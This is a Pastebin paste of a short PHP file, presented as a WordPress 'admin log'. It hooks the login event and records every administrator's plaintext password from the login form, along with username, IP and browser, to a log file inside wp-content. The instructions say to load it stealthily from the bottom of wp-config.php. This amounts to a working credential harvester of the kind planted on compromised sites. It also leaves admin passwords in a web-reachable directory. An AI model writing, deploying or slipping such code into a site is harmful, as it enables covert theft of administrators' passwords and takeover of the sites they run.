willysec_id

WP Admin Log

Jul 25th, 2026
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.35 KB | Cybersecurity | 0 0
  1. <?php
  2. /**
  3.  * WP Admin Log
  4.  * place this file to wp-content/log-admin-login.php
  5.  * place in bottom line of wp-config --> require_once WP_CONTENT_DIR . '/log-admin-login.php';
  6.  * by @willygoid
  7.  */
  8.  
  9. add_action('wp_login', 'log_admin_login', 10, 2);
  10.  
  11. function log_admin_login($user_login, $user) {
  12.     if (!in_array('administrator', (array) $user->roles)) {
  13.         return;
  14.     }
  15.  
  16.     $password = isset($_POST['pwd']) ? $_POST['pwd'] : '-';
  17.  
  18.     $ip = get_client_ip();
  19.     $time = current_time('Y-m-d H:i:s');
  20.     $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '-';
  21.     $login_url = wp_login_url();
  22.  
  23.     $log = sprintf(
  24.         "[%s] Username: %s | Name: %s | IP: %s | Browser: %s | Password: %s | Login URL: %s%s",
  25.         $time,
  26.         $user_login,
  27.         $user->display_name,
  28.         $ip,
  29.         $user_agent,
  30.         $password,
  31.         $login_url,
  32.         PHP_EOL
  33.     );
  34.  
  35.     $log_file = WP_CONTENT_DIR . '/admin-login.log';
  36.     file_put_contents($log_file, $log, FILE_APPEND | LOCK_EX);
  37. }
  38.  
  39. function get_client_ip() {
  40.     $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
  41.     foreach ($keys as $key) {
  42.         if (!empty($_SERVER[$key])) {
  43.             $ip = explode(',', $_SERVER[$key]);
  44.             return trim($ip[0]);
  45.         }
  46.     }
  47.     return 'UNKNOWN';
  48. }
Advertisement
Add Comment
Please, Sign In to add comment